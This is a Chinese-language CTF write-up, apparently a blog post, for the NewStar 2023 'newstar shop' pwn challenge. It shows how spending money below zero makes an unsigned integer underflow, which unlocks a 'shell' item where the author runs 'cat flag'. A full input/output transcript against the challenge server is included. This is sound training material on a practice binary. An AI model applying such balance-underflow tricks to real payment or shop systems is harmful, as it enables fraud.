newstar2023 week1 - newstar shop

RocketDev

文件分析

下载newstar_shop, 保护全开
ghidra分析为64位程序

解题思路

根据逆向结果,持有的钱会先转换成uint,那么只要使持有的钱下溢, 就可以购买天价终端了

注意:don't choose只能用一次

EXPLOIT

nc node4.buuoj.cn 28760

以下为输入输出,输入会用**表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
=================
1.Go to the shop
2.Make some money
3.Don't choose
=================


**1**
=============================
===Welcome to newstar shop===
=============================
1.newstar's gift 20$
2.pwn write up 40$
3.shell 9999$


All things are only available for one day!
What do you want to buy?


**2**
You buy a pwn write up
That is free after the match,haha


=================
1.Go to the shop
2.Make some money
3.Don't choose
=================


**1**
=============================
===Welcome to newstar shop===
=============================
1.newstar's gift 20$
2.pwn write up 40$
3.shell 9999$


All things are only available for one day!
What do you want to buy?


**2**
You buy a pwn write up
That is free after the match,haha


=================
1.Go to the shop
2.Make some money
3.Don't choose
=================


**3**
You shouldn't choose this
Please remember, the shop owner doesn't like his secret to be found
To punish your choice, you will lose 50$ and you will never be able to choose it!


=================
1.Go to the shop
2.Make some money
3.Don't choose
=================


**1**
=============================
===Welcome to newstar shop===
=============================
1.newstar's gift 20$
2.pwn write up 40$
3.shell 9999$


All things are only available for one day!
What do you want to buy?


**3**
How do you buy it?


**cat flag**
flag{你猜}

money变化:100 - 40 - 40 - 50 -> -10 -> 0xFFFFFFF5

Done.

  • 标题: newstar2023 week1 - newstar shop
  • 作者: RocketDev
  • 创建于 : 2023-09-26 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/26/W1_newstar_shop/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
newstar2023 week1 - newstar shop